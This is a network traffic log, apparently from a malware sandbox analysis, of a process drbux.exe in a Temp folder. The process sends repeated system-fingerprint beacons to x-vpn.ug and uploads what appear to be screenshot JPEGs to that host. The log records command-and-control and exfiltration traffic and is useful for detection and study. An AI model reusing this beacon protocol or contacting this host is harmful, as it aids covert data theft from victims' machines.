Jul 19, 2021 18:36:39.430037975 CEST	18383	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:36:39.430624008 CEST	18386	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:36:39.430674076 CEST	18389	OUT	Data Raw: 7a 4a 28 01 68 14 52 d3 42 10 d1 4b 45 00 25 06 96 8a 00 29 68 a2 80 03 49 4b 41 a6 02 52 1a 5a 29 00 82 83 4e c5 34 d0 01 45 2d 25 00 14 51 45 00 14 51 45 03 01 4b 49 40 a0 42 d1 45 27 7a 00 5a 29 0d 2d 00 14 51 45 00 2d 19 a4 a5 a0 03 bd 2d 25 Data Ascii: zJ(hRBKE%)hIKARZ)N4E-%QEQEKI@BE'zZ)-QE--%-11KEQK@Z(ESR-0aEP!ii)JZ`--%tp4ZbcL6$QiwB1b;u850D&#IVr.;*`cKEJb#+1!RbRS%R@(hR
Jul 19, 2021 18:36:39.430943012 CEST	18391	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
Jul 19, 2021 18:36:39.431168079 CEST	18394	OUT	Data Raw: bc 25 a4 a7 89 e0 b3 9b 53 96 eb ec 5a a4 16 5a 94 1f 63 da a5 9d 8a e1 1b cc f9 97 72 95 24 85 20 1c 80 7a 55 3f 10 43 a1 cf e1 f6 d5 ad a5 9b ed d2 ea b3 db 80 ba 7c 76 f1 94 45 8f 0b b5 24 2a a0 03 9c 85 c9 24 83 ea 72 67 f1 36 bd 71 2d b4 b2 Data Ascii: %SZZcr$ zU?C\|vE$*$rg6q-_'o<w+"DyPeaST}.nZ,$8+sgi5<MOcSkxn(a,Qa2YG4\A!h\Idx;XmF6FM~\|P
Jul 19, 2021 18:36:39.431714058 CEST	18397	OUT	Data Raw: 29 45 50 98 b4 ea 41 4b 4c 96 14 b4 0a 50 29 88 29 68 a5 14 c9 1c 05 2d 27 6a 51 56 48 e1 4e 1d 69 29 45 34 48 fa 51 49 4b 56 40 e0 69 e0 d3 07 5a 5a a4 4b 25 0d 4e 0d 50 d3 b3 4e e4 b4 49 85 3d 69 a6 04 6e 94 03 8a 70 6a 2c 98 ae d6 c4 46 d7 d0 Data Ascii: )EPAKLP))h-'jQVHNi)E4HQIKV@iZZK%NPNI=inpj,FVGi$g4bv)Q66)M2mP;!ZbE)u6)v1XQ}fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMN
Jul 19, 2021 18:36:39.431868076 CEST	18400	OUT	Data Raw: b9 aa 50 ea 8f 4e 86 2e 32 d0 c4 29 51 95 ad 03 0e 0f 4a 82 48 b1 5c 92 a7 63 ba 35 13 30 3b d5 9b 00 1b 52 b5 0d d0 cc 80 fe 62 ab 53 91 cc 72 2b af 0c a4 11 5e 63 57 56 3d 16 ae ac 7a 99 c1 04 1e 86 ba 3d 27 36 fe 09 be 78 cf ef 25 bc 58 a4 23 Data Ascii: PN.2)QJH\c50;RbSr+^cWV=z='6x%X##V.b3Cxl{[[*R:0aU9AFz?U52Y\|;ct}>_O:8A#HXf{X2&6^m\|c^h
Jul 19, 2021 18:36:39.713757038 CEST	18466	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:39 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
251	192.168.2.6	50010	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:39.489636898 CEST	18407	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:39.572315931 CEST	18458	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:39 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
252	192.168.2.6	50011	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:39.779230118 CEST	18467	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:39.887304068 CEST	18467	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:39 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 6 Connection: keep-alive Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>
Jul 19, 2021 18:36:39.952451944 CEST	18467	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----0bbdc347e92a5620378c0a4d4201c2c9 Host: x-vpn.ug Content-Length: 101359 Cache-Control: no-cache
Jul 19, 2021 18:36:39.952594995 CEST	18468	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 30 62 62 64 63 33 34 37 65 39 32 61 35 36 32 30 33 37 38 63 30 61 34 64 34 32 30 31 63 32 63 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------0bbdc347e92a5620378c0a4d4201c2c9Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:36:39.952822924 CEST	18478	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:36:39.952943087 CEST	18480	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:36:40.046267033 CEST	18482	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:36:40.046313047 CEST	18483	OUT	Data Raw: ba f5 28 ca cd 9f 62 38 18 e3 f0 af 05 b3 1a b5 9d da 8b 11 7b 05 c4 b0 97 5f 20 3a bb c7 8d c4 f1 c9 5c 2e 73 d3 8c f6 a9 db 5b d7 c4 31 cc fa 9e a6 22 90 90 8e d3 c9 b5 88 c6 40 39 e7 19 19 fa 8a c9 a9 5d f2 bd cd 53 56 5c cb 63 ab f8 85 ab 9b Data Ascii: (b8{_ :\.s[1"@9]SV\c:&Es?WObM<34,F,M+[:#CIU-zpq5'(E.RJRl.u?7(7R{)?7mWVso3z.*:O5OB0t;._"
Jul 19, 2021 18:36:40.046720028 CEST	18485	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:36:40.046793938 CEST	18486	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:36:40.046896935 CEST	18488	OUT	Data Raw: 1a 4e 4d a7 df fa fb db 67 54 71 09 46 cd 7f 5f f0 da 1d 66 a5 61 a4 69 fa 6e b7 70 da 52 2d d4 5f 61 8c c1 24 d2 91 63 2c c9 21 95 78 60 49 52 a3 86 24 82 30 73 82 0d ef 11 e9 9f d9 7e 12 d7 a0 87 44 6b 0b 55 d4 6d 12 da e4 ca ef f6 d8 82 cb 89 Data Ascii: NMgTqF_fainpR-_a$c,!x`IR$0s~DkUm~bAs_Qms-bhxj_`GOajZVvuo@3\|cq1$;j5\ZkU"Xf0pXI8MqpjN\U#?k.Fm}
Jul 19, 2021 18:36:40.047681093 CEST	18490	OUT	Data Raw: 7a 4a 28 01 68 14 52 d3 42 10 d1 4b 45 00 25 06 96 8a 00 29 68 a2 80 03 49 4b 41 a6 02 52 1a 5a 29 00 82 83 4e c5 34 d0 01 45 2d 25 00 14 51 45 00 14 51 45 03 01 4b 49 40 a0 42 d1 45 27 7a 00 5a 29 0d 2d 00 14 51 45 00 2d 19 a4 a5 a0 03 bd 2d 25 Data Ascii: zJ(hRBKE%)hIKARZ)N4E-%QEQEKI@BE'zZ)-QE--%-11KEQK@Z(ESR-0aEP!ii)JZ`--%tp4ZbcL6$QiwB1b;u850D&#IVr.;*`cKEJb#+1!RbRS%R@(hR
Jul 19, 2021 18:36:40.047707081 CEST	18492	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
Jul 19, 2021 18:36:40.737011909 CEST	18576	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:40 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
253	192.168.2.6	50012	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:40.085556984 CEST	18495	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:40.166136026 CEST	18509	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:40 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
254	192.168.2.6	50013	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:40.364224911 CEST	18537	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:40.455889940 CEST	18552	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:40 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 6 Connection: keep-alive Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
255	192.168.2.6	50014	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:40.664846897 CEST	18576	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:40.761512995 CEST	18576	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:40 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 6 Connection: keep-alive Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
256	192.168.2.6	50015	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:40.968286037 CEST	18577	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:41.047382116 CEST	18578	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:41 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
257	192.168.2.6	50016	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:41.052925110 CEST	18578	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----0dc54927fe4ae0bd443133d1c42fd168 Host: x-vpn.ug Content-Length: 101645 Cache-Control: no-cache
Jul 19, 2021 18:36:41.053117037 CEST	18578	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 30 64 63 35 34 39 32 37 66 65 34 61 65 30 62 64 34 34 33 31 33 33 64 31 63 34 32 66 64 31 36 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------0dc54927fe4ae0bd443133d1c42fd168Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:36:41.053307056 CEST	18588	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:36:41.053486109 CEST	18591	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:36:41.133820057 CEST	18599	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:36:41.134263039 CEST	18602	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
Jul 19, 2021 18:36:41.134872913 CEST	18605	OUT	Data Raw: bc 25 a4 a7 89 e0 b3 9b 53 96 eb ec 5a a4 16 5a 94 1f 63 da a5 9d 8a e1 1b cc f9 97 72 95 24 85 20 1c 80 7a 55 3f 10 43 a1 cf e1 f6 d5 ad a5 9b ed d2 ea b3 db 80 ba 7c 76 f1 94 45 8f 0b b5 24 2a a0 03 9c 85 c9 24 83 ea 72 67 f1 36 bd 71 2d b4 b2 Data Ascii: %SZZcr$ zU?C\|vE$*$rg6q-_'o<w+"DyPeaST}.nZ,$8+sgi5<MOcSkxn(a,Qa2YG4\A!h\Idx;XmF6FM~\|P
Jul 19, 2021 18:36:41.135075092 CEST	18607	OUT	Data Raw: 29 45 50 98 b4 ea 41 4b 4c 96 14 b4 0a 50 29 88 29 68 a5 14 c9 1c 05 2d 27 6a 51 56 48 e1 4e 1d 69 29 45 34 48 fa 51 49 4b 56 40 e0 69 e0 d3 07 5a 5a a4 4b 25 0d 4e 0d 50 d3 b3 4e e4 b4 49 85 3d 69 a6 04 6e 94 03 8a 70 6a 2c 98 ae d6 c4 46 d7 d0 Data Ascii: )EPAKLP))h-'jQVHNi)E4HQIKV@iZZK%NPNI=inpj,FVGi$g4bv)Q66)M2mP;!ZbE)u6)v1XQ}fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMN
Jul 19, 2021 18:36:41.135102987 CEST	18610	OUT	Data Raw: b9 aa 50 ea 8f 4e 86 2e 32 d0 c4 29 51 95 ad 03 0e 0f 4a 82 48 b1 5c 92 a7 63 ba 35 13 30 3b d5 9b 00 1b 52 b5 0d d0 cc 80 fe 62 ab 53 91 cc 72 2b af 0c a4 11 5e 63 57 56 3d 16 ae ac 7a 99 c1 04 1e 86 ba 3d 27 36 fe 09 be 78 cf ef 25 bc 58 a4 23 Data Ascii: PN.2)QJH\c50;RbSr+^cWV=z='6x%X##V.b3Cxl{[[*R:0aU9AFz?U52Y\|;ct}>_O:8A#HXf{X2&6^m\|c^h
Jul 19, 2021 18:36:41.135234118 CEST	18611	OUT	Data Raw: 6b 34 35 3d 5e ad 54 66 6e 92 35 05 c8 3d 54 53 84 91 37 de 51 59 c1 cd 3c 3d 68 a6 64 e9 97 fc ab 57 fe 01 4c 6b 0b 56 f6 aa c1 e9 c1 cd 3f 75 f4 26 d3 5b 32 43 a5 42 7e eb d4 67 48 1f c3 25 3c 4a 7d 6a 41 33 76 34 72 41 f4 0e 7a 8b a9 51 b4 99 Data Ascii: k45=^Tfn5=TS7QY<=hdWLkV?u&[2CB~gH%<J}jA3v4rAzQLN;t{Qck(S\|TSAP}fKtsOY]Qp~L:Q{&2Ltem=_R)qRwT\|;~Gx@JvxO
Jul 19, 2021 18:36:41.135505915 CEST	18614	OUT	Data Raw: ac 91 b4 64 2e 20 5d b8 dc 31 d4 60 63 14 c8 bc 4f 68 91 9b 06 d1 ee 9b 49 5d 35 b4 f8 e2 fb 70 f3 c0 69 96 62 c6 53 11 53 f3 0c 00 10 00 0f e2 78 9b ad d3 fa df fe 01 d8 95 2e bf d6 ab fe 09 37 d8 f4 1b 2d 2c 5f 6a b6 1a d4 06 4d 4e 5b 23 08 b9 Data Ascii: d. ]1`cOhI]5pibSSx.7-,_jMN[#@%<\|1Zmc}enod&`R32\.I'kEh..{<^}A@".1.'885\|@/#_{{kiJu@_#^jV_Fd`u[+DRG;8l
Jul 19, 2021 18:36:41.384459019 CEST	18682	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:41 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive

